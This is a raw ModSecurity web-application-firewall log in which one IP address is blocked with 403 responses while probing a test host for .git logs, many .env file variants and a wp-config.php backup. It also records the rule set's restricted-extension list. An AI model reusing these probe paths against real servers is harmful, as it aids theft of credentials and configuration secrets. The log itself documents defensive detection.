[Thu Jul 10 08:34:47.315705 2025] [:error] [pid 1065740] [client 185.177.72.106:31070] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aG9fBwzhmzdfviWTGmKwtwAAAAM&quot;]
[Thu Jul 10 08:34:47.316820 2025] [:error] [pid 1065740] [client 185.177.72.106:31070] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aG9fBwzhmzdfviWTGmKwtwAAAAM&quot;]
[Thu Jul 10 08:34:47.317024 2025] [:error] [pid 1065740] [client 185.177.72.106:31070] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aG9fBwzhmzdfviWTGmKwtwAAAAM&quot;]
[Thu Jul 10 08:34:56.928823 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aG9fEAjBNbXpUinoYOHGzQAAAAg&quot;]
[Thu Jul 10 08:34:56.929071 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aG9fEAjBNbXpUinoYOHGzQAAAAg&quot;]
[Thu Jul 10 08:34:56.929250 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/doc/.env&quot;] [unique_id &quot;aG9fEAjBNbXpUinoYOHGzQAAAAg&quot;]
[Thu Jul 10 08:34:56.989886 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp_access&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp_access&quot;] [unique_id &quot;aG9fEAjBNbXpUinoYOHGzgAAAAg&quot;]
[Thu Jul 10 08:34:56.990216 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp_access&quot;] [unique_id &quot;aG9fEAjBNbXpUinoYOHGzgAAAAg&quot;]
[Thu Jul 10 08:34:56.990509 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp_access&quot;] [unique_id &quot;aG9fEAjBNbXpUinoYOHGzgAAAAg&quot;]
[Thu Jul 10 08:34:57.028967 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aG9fEQjBNbXpUinoYOHGzwAAAAg&quot;]
[Thu Jul 10 08:34:57.029193 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aG9fEQjBNbXpUinoYOHGzwAAAAg&quot;]
[Thu Jul 10 08:34:57.029484 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aG9fEQjBNbXpUinoYOHGzwAAAAg&quot;]
[Thu Jul 10 08:34:57.029736 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aG9fEQjBNbXpUinoYOHGzwAAAAg&quot;]
[Thu Jul 10 08:34:57.335565 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aG9fEQjBNbXpUinoYOHG1AAAAAg&quot;]
[Thu Jul 10 08:34:57.335810 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aG9fEQjBNbXpUinoYOHG1AAAAAg&quot;]
[Thu Jul 10 08:34:57.336026 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.env&quot;] [unique_id &quot;aG9fEQjBNbXpUinoYOHG1AAAAAg&quot;]
[Thu Jul 10 08:34:57.531389 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aG9fEQjBNbXpUinoYOHG1gAAAAg&quot;]
[Thu Jul 10 08:34:57.531637 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aG9fEQjBNbXpUinoYOHG1gAAAAg&quot;]
[Thu Jul 10 08:34:57.531847 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aG9fEQjBNbXpUinoYOHG1gAAAAg&quot;]
[Thu Jul 10 08:34:57.705451 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /services/traefik/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aG9fEQjBNbXpUinoYOHG1wAAAAg&quot;]
[Thu Jul 10 08:34:57.705826 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aG9fEQjBNbXpUinoYOHG1wAAAAg&quot;]
[Thu Jul 10 08:34:57.706115 2025] [:error] [pid 1070368] [client 185.177.72.106:29220] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/traefik/.env&quot;] [unique_id &quot;aG9fEQjBNbXpUinoYOHG1wAAAAg&quot;]
[Thu Jul 10 08:35:07.361346 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tkwAAAAQ&quot;]
[Thu Jul 10 08:35:07.361621 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tkwAAAAQ&quot;]
[Thu Jul 10 08:35:07.361819 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tkwAAAAQ&quot;]
[Thu Jul 10 08:35:07.410428 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /crm/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tlAAAAAQ&quot;]
[Thu Jul 10 08:35:07.410706 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tlAAAAAQ&quot;]
[Thu Jul 10 08:35:07.410943 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crm/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tlAAAAAQ&quot;]
[Thu Jul 10 08:35:07.530583 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php_old2014&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php_old2014&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tlgAAAAQ&quot;]
[Thu Jul 10 08:35:07.530959 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php_old2014&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tlgAAAAQ&quot;]
[Thu Jul 10 08:35:07.531227 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php_old2014&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tlgAAAAQ&quot;]
[Thu Jul 10 08:35:07.583364 2025] [:error] [pid 1065741] [client 185.177.72.106:26746] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /old/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old/.env&quot;] [unique_id &quot;aG9fG6fTzetFftLHN63tlwAAAAQ&quot;]
